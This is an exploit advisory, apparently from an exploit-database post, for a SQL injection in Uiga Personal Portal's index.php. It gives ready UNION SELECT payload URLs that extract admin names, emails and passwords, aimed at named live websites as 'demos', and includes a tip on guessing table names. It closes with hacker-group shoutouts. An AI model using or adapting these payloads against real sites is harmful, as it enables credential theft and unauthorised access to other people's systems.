# Exploit Title: Uiga Personal Portal index.php (view) SQL Injection
Vulnerability
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
http://www.scriptdevelopers.net/download/uigapersonalportal.zip
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :
# Code :
Exploited Link :
http://example.com/uigaportal/index.php?view=ar_det&exhort=-36'
Live Demo :
http://www.uiga.com/product/demo/uigaportal/index.php?view=ar_det&exhort=-36+union+select+all+1,2,3,4,5,6,gr
oup_concat(admin_name,0x3a,admin_password),8,9,10,11+from+admin--
http://www.inabanga.com/index.php?view=ar_det&exhort=-36+union+select+all+1,2,3,4,5,6,group_concat(admin_ema
il,0x3a,admin_password),8,9,10,11+from+tbl_admin--
Important: Sometimes the table name is administrators and sometimes its
admin
#41.w4r10r (41.w4r10r@andhrahackers.com)
#################################################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks: SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Dark_blu,Harin,Jappy,DJ
Hoodlum Don
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in